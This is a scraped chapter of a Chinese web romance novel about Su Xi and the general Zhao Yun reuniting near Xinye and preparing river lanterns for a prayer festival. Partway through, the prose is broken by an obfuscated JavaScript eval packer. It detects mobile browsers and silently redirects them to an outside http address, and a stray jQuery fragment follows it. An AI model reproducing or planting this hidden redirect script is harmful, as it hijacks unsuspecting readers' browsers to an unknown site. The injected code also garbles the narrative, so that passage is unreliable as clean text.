文趣网 > 其他小说 > 赵云捡来的小娘子 > 22. 入梦寄你
    想不到山中偶遇的茅屋,清晨会有小兽光顾。

    苏兮迷迷糊糊感觉什么在舔自己的脸,温温软软的,带着点湿气。她皱了皱眉,侧头避开,那东西又跟过来,又舔了一下。

    睁开眼睛,一只白乎乎的兔子正吐着舌头盯着她。

    苏兮愣了,慢慢坐起来,兔子也不躲,反倒往前凑了凑,鼻尖在她手背上碰了碰。

    “你好像之前和将军遇见的那只兔子。说来,那只兔子怎么出现的?从将军身后突然冒出来……莫非是将军带来的?”

    思念又起,落寞涌来。苏兮掀开被子,把兔子抱在怀里,起身走出门。

    “也不知将军此刻在——”

    晨光从山峦的豁口漫进来,想不到昨夜抹黑到的隐蔽之处,门外竟是这般世外美景。林间的雾气还没散尽,丝丝缕缕缠在树梢。

    怀里的兔子忽然挣了挣,两只前爪搭在她臂弯上,耳朵竖得笔直,朝东边那片林子使劲嗅。

    “怎么了?”苏兮低头看它。

    兔子蹬了蹬腿,竟从她怀中跃下,落在草丛里,回头望了她一眼,又往前蹦了两步,再回头。

    这模样,像是要引她去什么地方?

    苏兮迟疑片刻,还是跟了上去。绕过几块山石,穿过一丛野杜鹃,眼前豁然现出一条山径。而山径另一端走来之人,手上提着野鸡和采摘的菌子。

    “怎会……”

    赵云也看见了她,随即加快步子。

    “醒了?”

    “醒、醒了。”苏兮下意识应道,随即回过神,“不对!将军怎会在此?”

    “昨日廖化将军赶回军营后,告知我你在此处,我便即可赶来了。”

    “廖化将军?昨日那位?”

    苏兮怔了怔,心中暗自思忖:原以为是位死板多疑的武夫,竟是刘备帐下又一员大将。

    赵云垂眸去看苏兮的脚,问:“还疼吗?”

    “歇了一宿,不疼了。”

    “我看看。”

    话音落,赵云已在苏兮面前蹲下身,将野鸡和菌子搁在路边,伸手去掀她的裙摆。

    苏兮吓了一跳,连忙按住裙角:“将军!”

    “鞋都染了血,确定不疼?”

    “嗯!当真不疼!将军快起来,我没事儿。”

    赵云没动,抬眼看她。布满血丝的眼里满是无奈,恼她逞强。

    “六日,从汝南走到此地……你没听我的话,连夜赶的路吧?”

    苏兮被他说中心事,眼神不自觉地飘向别处,嘴却不肯软:“将军不也连日连夜赶来的么。”

    赵云不是会拌嘴的性子。苏兮这么说,他便顺着她,不再追问。

    “昨夜到的,见你睡着便没给你上药。先回去吧。”

    赵云把菌子递到苏兮手里,又弯腰拎起那只野鸡,腾出的左手自然而然地伸过来,扶住她的手臂。

    “还是我抱着你的走?”

    “不用不用!我能走!”

    “嗯。”

    两人走得极慢,比苏兮独自来时还慢了半拍。山径寂静,反倒衬出一丝微妙的尴尬。

    总得找些话来说。

    “这菌子……将军认得吧?不会有毒吧?”

    “认得。从前在常山,入秋便上山采。正好抓了只野鸡,给你补补身子。”

    苏兮没想到他会说这么长一句,又那般不经意地撩人心弦。她垂下眼,面颊上的热度藏也藏不住。

    “将军,我……说到做到了呢。”

    说好活着追上你,你也说好不丢下我。彼此都做到了。

    在苏兮看不见的地方,赵云勾起唇角。

    “嗯,我自来相信,如果是你,一定能行。”

    *

    回到茅屋门前,兔子已先一步蹲在门槛上等着。见苏兮回来,蹦跳着绕到她脚边。

    “你还认得路呢,真棒。”苏兮弯腰想抱它,膝盖突然一僵,差点栽下去。

    赵云眼疾手快,从后揽住她的腰腹,把人捞回来。

    “疼了?”

    “不是,膝盖突然僵硬,没弯下去。”

    苏兮试着屈了屈膝,酸麻感从骨头缝里钻出来,又僵又涩。而且,又是左腿。

    赵云微蹙眉道:“大概是旧伤复发,加之你连夜赶路伤了筋骨。”

    放下野鸡和菌子,赵云扶在苏兮腰间的手一收一紧,另一只手抄到她膝弯下。

    “先上药,而后你好生休息,我去炖汤。”

    苏兮呆呆地窝在他怀里。

    分别的这段日子,她独自走了那么远的路,每日每夜提心吊胆,又怕追兵又怕野兽。身子疼得睡不着也咬着牙没吭声,从前熬过十六年,她以为自己早已足够坚强。

    可方才在山径上看到赵云的瞬间,她忽然发觉——自己好像也不是什么勇敢之人。

    那种感觉,和兄长在时很像。在兄长面前,她会变回那个无助的小姑娘,想哭哭啼啼地寻求他的安慰。

    “将军认识我兄长吗?”

    苏兮盯着面前与自己一同坐在榻上,给自己上药的赵云问。

    赵云摇头:“不认识。”

    “但我兄长认识你。”

    赵云抬眼看她,目露疑惑。

    苏兮弯起眉眼唇角,心底默念:

    因为将军,是兄长求来保护我的神君。

    苏兮忽然很想抱抱赵云。

    不是被抱着,是自己主动伸出手,环住这个人,把脸埋进他肩窝里,告诉他这些天她有多想他。

    念头一起,便压不回去了。

    赵云正低着头,小心揉按她肿胀的小腿。

    苏兮悄悄往他那边挪了挪,逐渐靠近。他毫无察觉,依旧专注在伤处。

    她深吸一口气,倾身向前,双手环过他的脖颈,脸埋在他颈窝。

    赵云的动作蓦地顿住。药膏还沾在指尖,凉意未散。

    “怎么了?”他柔声问,“我弄疼你了?”

    苏兮鼻子一酸。

    “嗯。”

    她闷闷地应了一声,把脸往他肩窝里又埋了埋,不想让他看见自己此刻丢人的模样。

    片刻之后,赵云放下药膏,用那只干净的手,覆在她后脑上。

    “那就靠一会儿。”

    *

    汝南那边,关羽被擒。但曹操欣赏、善待关羽,答应其请求,放糜夫人与甘夫人回新野,与刘备团聚,南枝也得以一同归来。

    关羽寄回的信上已将全部说明,也告知刘备自己会寻得机会回归,让刘备放心。

    新野城中,南枝一见苏兮,便径直掠过冲上来要检查她伤势的陈到,一把将苏兮拽入怀中。

    南枝这一抱用了十足的力气,苏兮被她撞得往后踉跄,后背恰好抵上个稳当的胸膛。赵云不知何时已无声无息地站到了她身后,单手虚扶在她腰侧。

    “你知道我日夜担惊受怕成何样吗。”

    “我也担心你们,怕我跑得慢,没法把关将军的信送达。”

    南枝的胳膊收得很紧,紧到苏兮几乎有些透不过气。

    “我多怕你半路出事,怕你遇上追兵,怕你还没到新野就把命丢在半道上。”

    苏兮被南枝勒得肩膀发疼,却还像哄受了委屈的孩子。

    “可我到了啊,信也送到了。关将军那边不是也有转机了吗?没事啦。”

    奈何这姿势让苏兮快喘不上气,陈到见状,强行分开两人,取出帕子擦南枝的脸,还不忘抱怨:

    “我也为你担惊受怕,怎么不抱我?”

    南枝嫌他手重,一把夺过帕子胡乱蹭了两下,反手砸回陈到身上:“连句道别都没说,万一我真死在汝南怎么办!”

    陈到笑着将她揽住:“那我就去找你的尸首,跟你冥婚。”

    苏兮惊得瞪圆了眼,后背微微一寒。南枝却很是受用,安心窝在心上人怀中,贪享这久别重逢的暖意。

    “冥婚……”苏兮仰头看身后的赵云,“将军呢?”

    “我?”赵云不解。

    苏兮点头:“若是将军的心上人意外离世,你会怎么做?”

    赵云沉吟:“大抵不会有。”

    苏兮歪头:“不会有……心上人?还是别的?”

    “不会让心上人出意外。我相信她不会让自己出事。”

    苏兮怔愣,心底涟漪一圈圈荡开,久久不散。

    她明知赵云说的不会是自己,可还是忍不住代入,将自己比作他的心上人。

    她正出神,南枝的声音忽然从旁边传来:“你不会真已经准备跟我办冥婚吧?”

    南枝一把推开陈到,陈到被她推得往后退了半步,也不恼,笑眯眯地伸手把她拽回来,低头在她发顶蹭了一下。

    “我可不是某些人,听到汝南传回的消息,整日魂不守舍。再听到消息,立马活过来,眨个眼人就没影了。”

    陈到话音刚落,赵云那只原本虚扶在苏兮腰侧的手,几不可察地收回。

    苏兮还没反应过来“某些人”是谁,南枝“噗”地笑出了声。

    赵云面色如常,低头看向仍在发愣的苏兮,淡淡开口:“难得团聚,今日便好好歇息。”

    “嗯。那将军你——”

    “我走了。”

    “啊?走了?”

    赵云走了。

    南枝瞧陈到干的好事,一拳打在他小腹上。

    “我家苏兮若是嫁不出去,我拿你是问!”

    *

    建安六年秋,刘备带着残部,不足千人,一路向南,入荆州。荆州牧刘表遣使来迎,将其安置在荆州北大门,新野。

    城不大,土夯的城墙,十余里见方。北门外是一马平川的平原,刘表把刘备摆在这儿,用意昭然,用他抵挡曹操南下。

    关羽被擒,而今刘备麾下能战之将,屈指可数。当务之急,是招兵买马、安顿流民,于新野暂借一隅喘息的余地,静待时局之变。

    入夜,苏兮目光落在正替自己上药的赵云身上。她回想起来,赵云自追随刘备以来,几乎始终护卫左右,从未被赋予独领一军的机会。

    “将军不觉得可惜吗?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665003|205414||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “可惜什么?”

    “将军武艺高强,枪法冠绝当世,却只能守在主公身边,做个——”她顿了一下,斟酌用词,“做个随行的护卫。”

    赵云将药瓶的塞子合上,搁在案边。

    “主公身边也需要人。守护好主公,比兵权战功都重要。”

    苏兮揉着腿,斟酌后道:“我其实觉得挺好的。毕竟上战场,是会丧命的。”

    意识到这话露了太多心思,苏兮抬眸偷瞄赵云。

    赵云伸手将灯芯拨正了些,火光敛住,室内暗下一瞬,又慢慢亮回来。

    “姑娘怕我上战场回不来吗?”

    苏兮飞快垂下眼:“我……我怕什么,将军武艺高强,要怕也是旁人怕你才对。”

    她说得太急,语尾几乎是栽下去的。

    一旁赵云收回视线,将案上的药瓶归拢整齐。安静中,苏兮低头去揉自己的腿,一副专心对付伤处的模样,趁其不备丢出话:

    “你若死了,我会随你去的。”

    一如那夜,赵云死在她怀中那般。

    赵云不知是否听见,收拾完一切,叮嘱苏兮早点歇息后便走了。

    苏兮平躺在榻上,闭上眼,又想起那夜。

    “其实一起死了不对,我应该给将军报仇了再离开。”

    自言自语完毕,苏兮吹灭烛火,侧身入睡。

    守在门外未曾离开的赵云轻笑,无奈摇着头离开。

    *

    战事已歇,但伤亡惨重。苏兮从南枝口中得知,新野城近日将举办一场祈福仪式,百姓以河灯为媒,向上天祈求安宁。

    做河灯并不难,苏兮从前为了换几斗米粮,也曾亲手扎过不少。

    南枝也打算给自己和陈到各做一盏,便去寻了些材料来,分了一部分给苏兮。因是伤员,苏兮近来未被安排差事,倒有足够的时间在房中慢慢扎灯。

    “你在做什么?”

    “啊!”

    苏兮小声惊叫着回过头,赵云双臂抱在胸前,正一脸好奇地看着她。

    “赵、赵将军,我、我在做河灯。”

    “河灯?”

    “嗯,明日祈福放河灯。城中百姓说,若许下心愿,定能实现。我便想着做几盏,主公一盏,夫人一盏,将军一盏。啊,差点忘了还有张将军、廖将军……会不会来不及啊。”

    赵云看着桌上杂乱,道:“我不要,不用给我做。”

    “啊?将军不要吗?”

    苏兮做灯的初衷,本就是冲着赵云去的。后来一想,单给他一人未免太显眼,才添了刘备等人的份。眼下他一口回绝,她忽然没了兴致。

    赵云没留意她眼中的失落,走到案几对面,拾起一盏比起她手边刚完工的三盏明显拙劣许多的灯。

    “这盏为何丢在此处?”

    苏兮道:“我做的第一盏,太丑了,留给自己。”

    歪歪扭扭的河灯被赵云拿在手中细细端详,苏兮愈发窘迫,脸颊微微发热。

    “加上你手头快完工的,足够了。主公、两位夫人、你一人一盏。”赵云道。

    苏兮垂下眼,握紧手中那只做了一半的灯,低声道:“可是,我想给将军你也一盏……”

    “这不是有了吗?”

    “啊?”

    苏兮抬起头,看见赵云拿着那盏丑灯,一副“我就收下了”的表情。

    “不可不可,我再多做一盏,很快的!”

    “你这手都扎出血了,还能继续?”

    “血?”

    苏兮张开手掌,手心手背上沾着大片的红,乍一看确实像血迹。

    “这不是血,是给花灯染色的茜草根。”苏兮笑着解释。

    赵云却是一脸不信,走到她身侧单膝蹲下,抓起她的手,示意她细看。右手掌心几处细小的伤口,被染料掩盖着,不仔细看几乎瞧不出来。

    “我去拿药来,你先把染料擦了。”

    “嗯……多谢将军。”

    望着赵云走远的背影,苏兮收回视线,低头眯起眼细看自己的掌心。

    那些伤口确实极小,染了色后几乎隐没不见。

    “到底怎么瞧出来的……”

    *

    这段日子,赵云除了招兵买马,得空便会来看苏兮。替她包扎好手上的伤后,又匆匆赶去忙活。

    祈福之夜就在明日,她得提前邀约赵云才行,否则便错过了。

    城中百姓还流传着另一种说法,若与心悦之人一同将河灯放入水中,两情便可长久,生生世世不相离。哪怕是单相思,也能让心悦之人钟情自己。

    “一定要成功!”

    午后,苏兮在营外踱步许久,迟迟等不到赵云。

    “不会出去了吧?”

    正犹豫着要不要回去,身后忽然传来脚步声。

    “在找我?”

    苏兮欣喜转身,赵云刚从议事处出来,手里拿着文书,以及身旁——

    “原来这位就是苏兮姑娘,我一直等着见你呢,可算见到你了。”

    一位不曾见过的姑娘。